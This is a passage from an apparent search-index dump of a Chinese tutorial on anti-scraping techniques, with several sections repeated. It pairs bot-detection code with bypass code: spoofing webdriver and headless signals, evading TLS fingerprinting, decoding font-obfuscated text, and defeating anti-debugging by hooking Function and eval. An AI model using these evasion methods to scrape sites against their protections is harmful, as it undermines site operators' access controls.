console.log(\"PhantomJS detected!\"); } 绕过方法: // Puppeteer await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); delete navigator.__proto__.webdriver; }); // Selenium options.add_argument('--disable-blink-features=AutomationControlled') driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) 检测 Chrome Headless 检测代码: // 检测 User-Agent if (/HeadlessChrome/.test(navigator.userAgent)) { console.log(\"Headless detected!\"); } // 检测插件数量 if (navigator.plugins.length === 0) { console.log(\"Headless detected!\"); } // 检测 Chrome 对象 if (!window.chrome || !window.chrome.runtime) { console.log(\"Not real Chrome!\"); } 绕过方法: // 伪造 User-Agent await page.setUserAgent(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...\"); // 伪造 Chrome 对象 await page.evaluateOnNewDocument(() =\u003e { window.chrome = { runtime: {}, }; }); // 伪造插件 await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, \"plugins\", { get: () =\u003e [1, 2, 3, 4, 5], }); }); ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#2-基于-javascript-的检测"},{"categories":null,"collections":null,"content":"2. 基于 JavaScript 的检测 检测 webdriver 检测代码: if (navigator.webdriver) { console.log(\"Bot detected!\"); } // 检测 Selenium 特征 if (window.document.documentElement.getAttribute(\"webdriver\")) { console.log(\"Selenium detected!\"); } // 检测 PhantomJS if (window.callPhantom || window._phantom) { console.log(\"PhantomJS detected!\"); } 绕过方法: // Puppeteer await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); delete navigator.__proto__.webdriver; }); // Selenium options.add_argument('--disable-blink-features=AutomationControlled') driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) 检测 Chrome Headless 检测代码: // 检测 User-Agent if (/HeadlessChrome/.test(navigator.userAgent)) { console.log(\"Headless detected!\"); } // 检测插件数量 if (navigator.plugins.length === 0) { console.log(\"Headless detected!\"); } // 检测 Chrome 对象 if (!window.chrome || !window.chrome.runtime) { console.log(\"Not real Chrome!\"); } 绕过方法: // 伪造 User-Agent await page.setUserAgent(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...\"); // 伪造 Chrome 对象 await page.evaluateOnNewDocument(() =\u003e { window.chrome = { runtime: {}, }; }); // 伪造插件 await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, \"plugins\", { get: () =\u003e [1, 2, 3, 4, 5], }); }); ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#检测-webdriver"},{"categories":null,"collections":null,"content":"2. 基于 JavaScript 的检测 检测 webdriver 检测代码: if (navigator.webdriver) { console.log(\"Bot detected!\"); } // 检测 Selenium 特征 if (window.document.documentElement.getAttribute(\"webdriver\")) { console.log(\"Selenium detected!\"); } // 检测 PhantomJS if (window.callPhantom || window._phantom) { console.log(\"PhantomJS detected!\"); } 绕过方法: // Puppeteer await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }); delete navigator.__proto__.webdriver; }); // Selenium options.add_argument('--disable-blink-features=AutomationControlled') driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', { 'source': ''' Object.defineProperty(navigator, 'webdriver', { get: () =\u003e undefined }) ''' }) 检测 Chrome Headless 检测代码: // 检测 User-Agent if (/HeadlessChrome/.test(navigator.userAgent)) { console.log(\"Headless detected!\"); } // 检测插件数量 if (navigator.plugins.length === 0) { console.log(\"Headless detected!\"); } // 检测 Chrome 对象 if (!window.chrome || !window.chrome.runtime) { console.log(\"Not real Chrome!\"); } 绕过方法: // 伪造 User-Agent await page.setUserAgent(\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) ...\"); // 伪造 Chrome 对象 await page.evaluateOnNewDocument(() =\u003e { window.chrome = { runtime: {}, }; }); // 伪造插件 await page.evaluateOnNewDocument(() =\u003e { Object.defineProperty(navigator, \"plugins\", { get: () =\u003e [1, 2, 3, 4, 5], }); }); ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:2","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#检测-chrome-headless"},{"categories":null,"collections":null,"content":"3. 基于 TLS 指纹的检测 原理: 客户端在 TLS 握手时发送的 Client Hello 包含大量指纹信息（JA3）。 检测代码 (服务端): from scapy.all import * def extract_ja3(packet): # 提取 TLS Client Hello # 生成 JA3 指纹 ja3 = f\"{version},{ciphers},{extensions},{curves},{formats}\" ja3_hash = hashlib.md5(ja3.encode()).hexdigest() # 检查是否在黑名单中 if ja3_hash in BLACKLIST_JA3: return \"Bot detected\" 对抗策略: 使用 curl-impersonate 模拟真实浏览器 TLS 指纹 使用真实浏览器（Puppeteer/Playwright） 详见 TLS 指纹识别 ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:3","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#3-基于-tls-指纹的检测"},{"categories":null,"collections":null,"content":"4. 基于 Canvas/WebGL 指纹 检测代码: function getCanvasFingerprint() { const canvas = document.createElement(\"canvas\"); const ctx = canvas.getContext(\"2d\"); ctx.textBaseline = \"top\"; ctx.font = \"14px Arial\"; ctx.fillText(\"fingerprint\", 2, 2); return canvas.toDataURL(); } const fingerprint = getCanvasFingerprint(); // 发送到服务器验证 对抗策略: 详见 Canvas 指纹技术 ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:4","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#4-基于-canvaswebgl-指纹"},{"categories":null,"collections":null,"content":"5. 蜜罐技术 (Honeypot) 原理: 在页面中隐藏对用户不可见、但爬虫会抓取的链接。 实现: \u003c!-- 隐藏链接 --\u003e \u003ca href=\"/trap\" style=\"display:none;\"\u003eHidden Link\u003c/a\u003e \u003c!-- CSS 隐藏 --\u003e \u003cstyle\u003e .trap { position: absolute; left: -9999px; } \u003c/style\u003e \u003ca href=\"/trap\" class=\"trap\"\u003eTrap\u003c/a\u003e 服务端处理: @app.route('/trap') def honeypot(): # 记录访问者 IP，标记为爬虫 blacklist.add(request.remote_addr) return \"Gotcha!\" 对抗策略: 只提取可见内容 检查元素的 CSS 样式（display, visibility, opacity） function isVisible(element) { return ( element.offsetWidth \u003e 0 \u0026\u0026 element.offsetHeight \u003e 0 \u0026\u0026 getComputedStyle(element).visibility !== \"hidden\" ); } ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:5","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#5-蜜罐技术-honeypot"},{"categories":null,"collections":null,"content":"6. CSS 反爬技术 6.1 CSS 偏移隐藏 原理: 使用 CSS 样式将真实内容偏移到不可见区域，页面上显示的是伪造数据。 实现示例: \u003cstyle\u003e .price { position: relative; } .price .real { position: absolute; left: -9999px; } .price .fake { position: relative; } \u003c/style\u003e \u003cdiv class=\"price\"\u003e \u003cspan class=\"real\"\u003e¥199\u003c/span\u003e \u003cspan class=\"fake\"\u003e¥9999\u003c/span\u003e \u003c/div\u003e 特点: 页面源码中显示假数据 真实数据通过 CSS 定位隐藏 正常用户看到的是真实数据 对抗策略: from selenium import webdriver from selenium.webdriver.common.by import By driver = webdriver.Chrome() driver.get('https://example.com') # 获取元素 element = driver.find_element(By.CLASS_NAME, 'price') # 获取渲染后的可见文本（会获取到真实数据） visible_text = element.text # 或使用 JavaScript 获取计算后的样式 script = \"\"\" var element = arguments[0]; var style = window.getComputedStyle(element); if (style.display !== 'none' \u0026\u0026 style.visibility !== 'hidden' \u0026\u0026 style.opacity !== '0' \u0026\u0026 parseInt(style.left) \u003e -1000) { return element.innerText; } return null; 6.2 字体反爬技术 原理: 通过自定义字体文件（@font-face），将页面文本字符映射到字体文件中的不同字形，使得爬虫抓取到的文字与实际显示的文字不一致。 典型案例: 猫眼电影、大众点评、58 同城、汽车之家、天眼查、起点中文网 实现机制: \u003c!-- HTML 中显示的是乱码或特殊编码 --\u003e \u003cspan class=\"rating\"\u003e\u0026#xe601;\u0026#xe602;\u0026#xe603;\u003c/span\u003e \u003c!-- CSS 引入自定义字体 --\u003e \u003cstyle\u003e @font-face { font-family: \"CustomFont\"; src: url(\"/fonts/custom_12345.woff\") format(\"woff\"); } .rating { font-family: \"CustomFont\"; } \u003c/style\u003e 字体文件结构: WOFF 字体文件 ├── cmap 表 (字符映射表) │ ├── \u0026#xe601; → \"8\" │ ├── \u0026#xe602; → \".\" │ └── \u0026#xe603; → \"5\" ├── glyf 表 (字形轮廓) │ ├── glyph_001 (数字 8 的轮廓) │ ├── glyph_002 (点号的轮廓) │ └── glyph_003 (数字 5 的轮廓) 破解方法: 方法 1: 字体文件解析 from fontTools.ttLib import TTFont import requests import re # 1. 从页面提取字体文件 URL def extract_font_url(html): pattern = r'url\\([\"\\']?(/fonts/[^\"\\']+\\.woff[^\"\\']*)[\"\\']?\\)' match = re.search(pattern, html) return match.group(1) if match else None # 2. 下载字体文件 font_url = 'https://example.com/fonts/custom.woff' response = requests.get(font_url) with open('custom.woff', 'wb') as f: f.write(response.content) # 3. 解析字体文件 font = TTFont('custom.woff') # 4. 提取字符映射 cmap = font.getBestCmap() # 获取最佳字符映射表 # 5. 提取字形坐标 def get_glyph_outline(font, glyph_name): \"\"\"获取字形轮廓坐标\"\"\" glyf_table = font['glyf'] glyph = glyf_table[glyph_name] if glyph.isComposite(): return None # 跳过复合字形 coordinates = [] if hasattr(glyph, 'coordinates'): for x, y in glyph.coordinates: coordinates.append((x, y)) return coordinates # 6. 建立字形与真实字符的映射 font_map = {} for unicode_val, glyph_name in cmap.items(): outline = get_glyph_outline(font, glyph_name) # 通过比对坐标识别真实字符 # 这里需要预先建立标准字形库 real_char = recognize_char_by_outline(outline) font_map[chr(unicode_val)] = real_char print(font_map) # {'\\ue601': '8', '\\ue602': '.', '\\ue603': '5'} # 7. 解密文本 def decrypt_text(encrypted_text, font_map): decrypted = '' for char in encrypted_text: decrypted += font_map.get(char, char) return decrypted encrypted = '\u0026#xe601;\u0026#xe602;\u0026#xe603;' # HTML 实体 decrypted = decrypt_text(encrypted, font_map) print(decrypted) # \"8.5\" 方法 2: OCR 识别（针对动态字体） from selenium import webdriver from PIL import Image import pytesseract from io import BytesIO def ocr_screenshot(url, selector): \"\"\"截图并 OCR 识别\"\"\" driver = webdriver.Chrome() driver.get(url) # 定位元素 element = driver.find_element(By.CSS_SELECTOR, selector) # 截取元素截图 screenshot = element.screenshot_as_png image = Image.open(BytesIO(screenshot)) # OCR 识别 text = pytesseract.image_to_string(image, lang='chi_sim+eng') driver.quit() return text.strip() 方法 3: 字形相似度匹配 import numpy as np from fontTools.pens.recordingPen import RecordingPen def calculate_similarity(outline1, outline2): \"\"\"计算两个字形轮廓的相似度\"\"\" # 将坐标序列转换为向量 vec1 = np.array(outline1).flatten() vec2 = np.array(outline2).flatten() # 归一化 vec1 = vec1 / np.linalg.norm(vec1) vec2 = vec2 / np.linalg.norm(vec2) # 计算余弦相似度 similarity = np.dot(vec1, vec2) return similarity # 建立标准字形库（需提前准备） standard_glyphs = { '0': [(10, 20), (30, 20), ...], '1': [(15, 5), (15, 35), ...], # ... 其他字符 } def recognize_char_by_outline(outline): \"\"\"通过轮廓识别字符\"\"\" max_similarity = 0 recognized_char = '' for char, std_outline in standard_glyphs.items(): similarity = calculate_similarity(outline, std_outline) if similarit","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:6","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#6-css-反爬技术"},{"categories":null,"collections":null,"content":"6. CSS 反爬技术 6.1 CSS 偏移隐藏 原理: 使用 CSS 样式将真实内容偏移到不可见区域，页面上显示的是伪造数据。 实现示例: ¥199 ¥9999 特点: 页面源码中显示假数据 真实数据通过 CSS 定位隐藏 正常用户看到的是真实数据 对抗策略: from selenium import webdriver from selenium.webdriver.common.by import By driver = webdriver.Chrome() driver.get('https://example.com') # 获取元素 element = driver.find_element(By.CLASS_NAME, 'price') # 获取渲染后的可见文本（会获取到真实数据） visible_text = element.text # 或使用 JavaScript 获取计算后的样式 script = \"\"\" var element = arguments[0]; var style = window.getComputedStyle(element); if (style.display !== 'none' \u0026\u0026 style.visibility !== 'hidden' \u0026\u0026 style.opacity !== '0' \u0026\u0026 parseInt(style.left) \u003e -1000) { return element.innerText; } return null; 6.2 字体反爬技术 原理: 通过自定义字体文件（@font-face），将页面文本字符映射到字体文件中的不同字形，使得爬虫抓取到的文字与实际显示的文字不一致。 典型案例: 猫眼电影、大众点评、58 同城、汽车之家、天眼查、起点中文网 实现机制:  字体文件结构: WOFF 字体文件 ├── cmap 表 (字符映射表) │ ├──  → \"8\" │ ├──  → \".\" │ └──  → \"5\" ├── glyf 表 (字形轮廓) │ ├── glyph_001 (数字 8 的轮廓) │ ├── glyph_002 (点号的轮廓) │ └── glyph_003 (数字 5 的轮廓) 破解方法: 方法 1: 字体文件解析 from fontTools.ttLib import TTFont import requests import re # 1. 从页面提取字体文件 URL def extract_font_url(html): pattern = r'url\\([\"\\']?(/fonts/[^\"\\']+\\.woff[^\"\\']*)[\"\\']?\\)' match = re.search(pattern, html) return match.group(1) if match else None # 2. 下载字体文件 font_url = 'https://example.com/fonts/custom.woff' response = requests.get(font_url) with open('custom.woff', 'wb') as f: f.write(response.content) # 3. 解析字体文件 font = TTFont('custom.woff') # 4. 提取字符映射 cmap = font.getBestCmap() # 获取最佳字符映射表 # 5. 提取字形坐标 def get_glyph_outline(font, glyph_name): \"\"\"获取字形轮廓坐标\"\"\" glyf_table = font['glyf'] glyph = glyf_table[glyph_name] if glyph.isComposite(): return None # 跳过复合字形 coordinates = [] if hasattr(glyph, 'coordinates'): for x, y in glyph.coordinates: coordinates.append((x, y)) return coordinates # 6. 建立字形与真实字符的映射 font_map = {} for unicode_val, glyph_name in cmap.items(): outline = get_glyph_outline(font, glyph_name) # 通过比对坐标识别真实字符 # 这里需要预先建立标准字形库 real_char = recognize_char_by_outline(outline) font_map[chr(unicode_val)] = real_char print(font_map) # {'\\ue601': '8', '\\ue602': '.', '\\ue603': '5'} # 7. 解密文本 def decrypt_text(encrypted_text, font_map): decrypted = '' for char in encrypted_text: decrypted += font_map.get(char, char) return decrypted encrypted = '' # HTML 实体 decrypted = decrypt_text(encrypted, font_map) print(decrypted) # \"8.5\" 方法 2: OCR 识别（针对动态字体） from selenium import webdriver from PIL import Image import pytesseract from io import BytesIO def ocr_screenshot(url, selector): \"\"\"截图并 OCR 识别\"\"\" driver = webdriver.Chrome() driver.get(url) # 定位元素 element = driver.find_element(By.CSS_SELECTOR, selector) # 截取元素截图 screenshot = element.screenshot_as_png image = Image.open(BytesIO(screenshot)) # OCR 识别 text = pytesseract.image_to_string(image, lang='chi_sim+eng') driver.quit() return text.strip() 方法 3: 字形相似度匹配 import numpy as np from fontTools.pens.recordingPen import RecordingPen def calculate_similarity(outline1, outline2): \"\"\"计算两个字形轮廓的相似度\"\"\" # 将坐标序列转换为向量 vec1 = np.array(outline1).flatten() vec2 = np.array(outline2).flatten() # 归一化 vec1 = vec1 / np.linalg.norm(vec1) vec2 = vec2 / np.linalg.norm(vec2) # 计算余弦相似度 similarity = np.dot(vec1, vec2) return similarity # 建立标准字形库（需提前准备） standard_glyphs = { '0': [(10, 20), (30, 20), ...], '1': [(15, 5), (15, 35), ...], # ... 其他字符 } def recognize_char_by_outline(outline): \"\"\"通过轮廓识别字符\"\"\" max_similarity = 0 recognized_char = '' for char, std_outline in standard_glyphs.items(): similarity = calculate_similarity(outline, std_outline) if similarit","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:6","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#61-css-偏移隐藏"},{"categories":null,"collections":null,"content":"6. CSS 反爬技术 6.1 CSS 偏移隐藏 原理: 使用 CSS 样式将真实内容偏移到不可见区域，页面上显示的是伪造数据。 实现示例: ¥199 ¥9999 特点: 页面源码中显示假数据 真实数据通过 CSS 定位隐藏 正常用户看到的是真实数据 对抗策略: from selenium import webdriver from selenium.webdriver.common.by import By driver = webdriver.Chrome() driver.get('https://example.com') # 获取元素 element = driver.find_element(By.CLASS_NAME, 'price') # 获取渲染后的可见文本（会获取到真实数据） visible_text = element.text # 或使用 JavaScript 获取计算后的样式 script = \"\"\" var element = arguments[0]; var style = window.getComputedStyle(element); if (style.display !== 'none' \u0026\u0026 style.visibility !== 'hidden' \u0026\u0026 style.opacity !== '0' \u0026\u0026 parseInt(style.left) \u003e -1000) { return element.innerText; } return null; 6.2 字体反爬技术 原理: 通过自定义字体文件（@font-face），将页面文本字符映射到字体文件中的不同字形，使得爬虫抓取到的文字与实际显示的文字不一致。 典型案例: 猫眼电影、大众点评、58 同城、汽车之家、天眼查、起点中文网 实现机制:  字体文件结构: WOFF 字体文件 ├── cmap 表 (字符映射表) │ ├──  → \"8\" │ ├──  → \".\" │ └──  → \"5\" ├── glyf 表 (字形轮廓) │ ├── glyph_001 (数字 8 的轮廓) │ ├── glyph_002 (点号的轮廓) │ └── glyph_003 (数字 5 的轮廓) 破解方法: 方法 1: 字体文件解析 from fontTools.ttLib import TTFont import requests import re # 1. 从页面提取字体文件 URL def extract_font_url(html): pattern = r'url\\([\"\\']?(/fonts/[^\"\\']+\\.woff[^\"\\']*)[\"\\']?\\)' match = re.search(pattern, html) return match.group(1) if match else None # 2. 下载字体文件 font_url = 'https://example.com/fonts/custom.woff' response = requests.get(font_url) with open('custom.woff', 'wb') as f: f.write(response.content) # 3. 解析字体文件 font = TTFont('custom.woff') # 4. 提取字符映射 cmap = font.getBestCmap() # 获取最佳字符映射表 # 5. 提取字形坐标 def get_glyph_outline(font, glyph_name): \"\"\"获取字形轮廓坐标\"\"\" glyf_table = font['glyf'] glyph = glyf_table[glyph_name] if glyph.isComposite(): return None # 跳过复合字形 coordinates = [] if hasattr(glyph, 'coordinates'): for x, y in glyph.coordinates: coordinates.append((x, y)) return coordinates # 6. 建立字形与真实字符的映射 font_map = {} for unicode_val, glyph_name in cmap.items(): outline = get_glyph_outline(font, glyph_name) # 通过比对坐标识别真实字符 # 这里需要预先建立标准字形库 real_char = recognize_char_by_outline(outline) font_map[chr(unicode_val)] = real_char print(font_map) # {'\\ue601': '8', '\\ue602': '.', '\\ue603': '5'} # 7. 解密文本 def decrypt_text(encrypted_text, font_map): decrypted = '' for char in encrypted_text: decrypted += font_map.get(char, char) return decrypted encrypted = '' # HTML 实体 decrypted = decrypt_text(encrypted, font_map) print(decrypted) # \"8.5\" 方法 2: OCR 识别（针对动态字体） from selenium import webdriver from PIL import Image import pytesseract from io import BytesIO def ocr_screenshot(url, selector): \"\"\"截图并 OCR 识别\"\"\" driver = webdriver.Chrome() driver.get(url) # 定位元素 element = driver.find_element(By.CSS_SELECTOR, selector) # 截取元素截图 screenshot = element.screenshot_as_png image = Image.open(BytesIO(screenshot)) # OCR 识别 text = pytesseract.image_to_string(image, lang='chi_sim+eng') driver.quit() return text.strip() 方法 3: 字形相似度匹配 import numpy as np from fontTools.pens.recordingPen import RecordingPen def calculate_similarity(outline1, outline2): \"\"\"计算两个字形轮廓的相似度\"\"\" # 将坐标序列转换为向量 vec1 = np.array(outline1).flatten() vec2 = np.array(outline2).flatten() # 归一化 vec1 = vec1 / np.linalg.norm(vec1) vec2 = vec2 / np.linalg.norm(vec2) # 计算余弦相似度 similarity = np.dot(vec1, vec2) return similarity # 建立标准字形库（需提前准备） standard_glyphs = { '0': [(10, 20), (30, 20), ...], '1': [(15, 5), (15, 35), ...], # ... 其他字符 } def recognize_char_by_outline(outline): \"\"\"通过轮廓识别字符\"\"\" max_similarity = 0 recognized_char = '' for char, std_outline in standard_glyphs.items(): similarity = calculate_similarity(outline, std_outline) if similarit","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:6","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#62-字体反爬技术"},{"categories":null,"collections":null,"content":"7. JavaScript 反调试技术 7.1 无限 Debugger 循环 原理: 使用 debugger 语句配合定时器或递归，持续暂停 JavaScript 执行。 实现方式: 方式 1: 直接循环 setInterval(function () { debugger; }, 100); 方式 2: 自执行函数 (function () { function detect() { debugger; detect(); } detect(); })(); 方式 3: eval/Function 动态执行 setInterval(function () { (function () { return false; }) [\"constructor\"](\"debugger\") [\"call\"](); }, 50); // 或使用 eval setInterval(function () { eval(\"debugger\"); }, 50); 方式 4: 时间检测 setInterval(function () { var start = new Date(); debugger; var end = new Date(); // 检测时间差，判断是否在调试 if (end - start \u003e 100) { console.log(\"Developer tools detected!\"); // 清空页面或重定向 document.body.innerHTML = \"\"; window.location.href = \"about:blank\"; } }, 1000); 7.2 绕过反调试的方法 方法 1: 禁用所有断点 Chrome DevTools 操作: 打开 Sources 面板 点击右侧的\"Deactivate breakpoints\"按钮（快捷键 Ctrl+F8） 所有 debugger 语句将被忽略 方法 2: Never Pause Here (永不在此暂停) 1. 在 debugger 行右键 2. 选择 \"Never pause here\" 3. 该行的 debugger 将被忽略 方法 3: 条件断点覆盖 1. 在 debugger 行设置条件断点 2. 条件设为 false 3. 断点将永不触发 方法 4: Hook Function 构造器 // 在页面加载前注入（通过浏览器扩展或 Fiddler） (function () { var originalFunction = window.Function; window.Function = function () { var args = Array.prototype.slice.call(arguments); var code = args[args.length - 1]; // 检测并移除 debugger if (code \u0026\u0026 typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked debugger:\", code); args[args.length - 1] = code.replace(/debugger/g, \"\"); } return originalFunction.apply(this, args); }; // 处理 eval var originalEval = window.eval; window.eval = function (code) { if (typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked eval debugger:\", code); code = code.replace(/debugger/g, \"\"); } return originalEval.call(this, code); }; })(); 方法 5: 本地文件替换 使用 Fiddler/Charles 替换 JavaScript 文件: // 1. 保存原始 JS 文件 // 2. 移除所有 debugger 语句 // 3. 使用 Fiddler AutoResponder 替换 // Fiddler AutoResponder 规则: // REGEX:https://example.com/js/protect.js // 本地文件路径: C:\\temp\\protect_cracked.js 方法 6: Chrome DevTools Protocol (CDP) from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_experimental_option('excludeSwitches', ['enable-automation']) chrome_options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=chrome_options) # 禁用 debugger driver.execute_cdp_cmd('Debugger.disable', {}) # 设置断点行为 driver.execute_cdp_cmd('Debugger.setBreakpointsActive', {'active': False}) driver.get('https://example.com') 方法 7: 重写 debugger (Proxy) // 使用 Proxy 拦截 debugger (function () { var handler = { construct: function (target, args) { var code = args[args.length - 1]; if (typeof code === \"string\") { code = code.replace(/debugger/g, \"\"); args[args.length - 1] = code; } return new target(...args); }, }; window.Function = new Proxy(Function, handler); })(); 参考资源: 浏览器反调试绕过无限 debugger 及代码执行器检测 绕过 JavaScript debugger 三种解决方法 JS 逆向：常见无限 Debugger 以及绕过方法 几种常见的前端反调试方法及突破方式 7.3 检测开发者工具 检测方法 1: 窗口尺寸检测 function detectDevTools() { var widthThreshold = window.outerWidth - window.innerWidth \u003e 160; var heightThreshold = window.outerHeight - window.innerHeight \u003e 160; if (widthThreshold || heightThreshold) { console.log(\"DevTools detected!\"); return true; } return false; } setInterval(detectDevTools, 1000); 检测方法 2: console.log 时间检测 var devtools = { open: false }; var checkStatus = function () { var element = new Image(); Object.defineProperty(element, \"id\", { get: function () { devtools.open = true; }, }); console.log(\"%c\", element); console.clear(); }; setInterval(function () { devtools.open = false; checkStatus(); if (devtools.open) { console.log(\"DevTools detected!\"); // 执行反制措施 } }, 1000); 绕过方法: 使用无头浏览器或禁用 console 输出 // Hook console.log console.log = function () {}; console.warn = function () {}; console.error = function () {}; ","date":"2025-06-08","objectID":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/:3:7","tags":["Web","浏览器指纹","Canvas指纹","WebAssembly","代理池","加密分析"],"title":"反爬虫技术深度分析","uri":"/reverse_engineering/web/04-advanced-recipes/anti_scraping_deep_dive/#7-javascript-反调试技术"},{"categories":null,"collections":null,"content":"7. JavaScript 反调试技术 7.1 无限 Debugger 循环 原理: 使用 debugger 语句配合定时器或递归，持续暂停 JavaScript 执行。 实现方式: 方式 1: 直接循环 setInterval(function () { debugger; }, 100); 方式 2: 自执行函数 (function () { function detect() { debugger; detect(); } detect(); })(); 方式 3: eval/Function 动态执行 setInterval(function () { (function () { return false; }) [\"constructor\"](\"debugger\") [\"call\"](); }, 50); // 或使用 eval setInterval(function () { eval(\"debugger\"); }, 50); 方式 4: 时间检测 setInterval(function () { var start = new Date(); debugger; var end = new Date(); // 检测时间差，判断是否在调试 if (end - start \u003e 100) { console.log(\"Developer tools detected!\"); // 清空页面或重定向 document.body.innerHTML = \"\"; window.location.href = \"about:blank\"; } }, 1000); 7.2 绕过反调试的方法 方法 1: 禁用所有断点 Chrome DevTools 操作: 打开 Sources 面板 点击右侧的\"Deactivate breakpoints\"按钮（快捷键 Ctrl+F8） 所有 debugger 语句将被忽略 方法 2: Never Pause Here (永不在此暂停) 1. 在 debugger 行右键 2. 选择 \"Never pause here\" 3. 该行的 debugger 将被忽略 方法 3: 条件断点覆盖 1. 在 debugger 行设置条件断点 2. 条件设为 false 3. 断点将永不触发 方法 4: Hook Function 构造器 // 在页面加载前注入（通过浏览器扩展或 Fiddler） (function () { var originalFunction = window.Function; window.Function = function () { var args = Array.prototype.slice.call(arguments); var code = args[args.length - 1]; // 检测并移除 debugger if (code \u0026\u0026 typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked debugger:\", code); args[args.length - 1] = code.replace(/debugger/g, \"\"); } return originalFunction.apply(this, args); }; // 处理 eval var originalEval = window.eval; window.eval = function (code) { if (typeof code === \"string\" \u0026\u0026 code.includes(\"debugger\")) { console.log(\"Blocked eval debugger:\", code); code = code.replace(/debugger/g, \"\"); } return originalEval.call(this, code); }; })(); 方法 5: 本地文件替换 使用 Fiddler/Charles 替换 JavaScript 文件: // 1. 保存原始 JS 文件 // 2. 移除所有 debugger 语句 // 3. 使用 Fiddler AutoResponder 替换 // Fiddler AutoResponder 规则: // REGEX:https://example.com/js/protect.js // 本地文件路径: C:\\temp\\protect_cracked.js 方法 6: Chrome DevTools Protocol (CDP) from selenium import webdriver from selenium.webdriver.chrome.options import Options chrome_options = Options() chrome_options.add_experimental_option('excludeSwitches', ['enable-automation']) chrome_options.add_experimental_option('useAutomationExtension', False) driver = webdriver.Chrome(options=chrome_options) # 禁用 debugger driver.execute_cdp_cmd('Debugger.disable', {}) # 设置断点行为 driver.execute_cdp_cmd('Debugger.setBreakpointsActive', {'active': False}) driver.get('https://example.com') 方法 7: 重写 debugger (Proxy) // 使用 Proxy 拦截 debugger (function () { var handler = { construct: function (target, args) { var code = args[args.length - 1]; if (typeof code === \"string\") { code = code.replace(/debugger/g, \"\"); args[args.length - 1] = code; } return new target(...args); }, }; window.Function = new Proxy(Function, handler); })(); 参考资源: 浏览器反调试绕过无限 debugger 及代码执行器检测 绕过 JavaScript debugger 三种解决方法 JS 逆向：常见无限 Debugger 以及绕过方法 几种常见的前端反调试方法及突破方式 7.3 检测开发者工具 检测方法 1: 窗口尺寸检测 function detectDevTools() { var widthThreshold = window.outerWidth - window.innerWidth \u003e 160; var heightThreshold = window.outerHeight - window.innerHeight \u003e 160; if (widthThreshold || heightThreshold) { console.log(\"DevTools detected!\"); return true; } return false; } setInterval(detectDevTools, 1000); 检测方法 2: console.log 时间检测 var devtools = { open: false }; var checkStatus = function () { var element = new Image(); Object.defineProperty(element, \"id\", { get: function () { devtools.open = true; }, }); console.log(\"%c\", element); console.clear(); }; setInterval(function () { devtools.open = false; checkStatus(); if (devtools.open) { console.log(\"DevTools detected!\"); // 执行反制措施 } }, 1000); 绕过方法: 使用无头浏览器或禁用 console 输出 // Hook console.log console.log = function () {}; console.warn = function () {}; 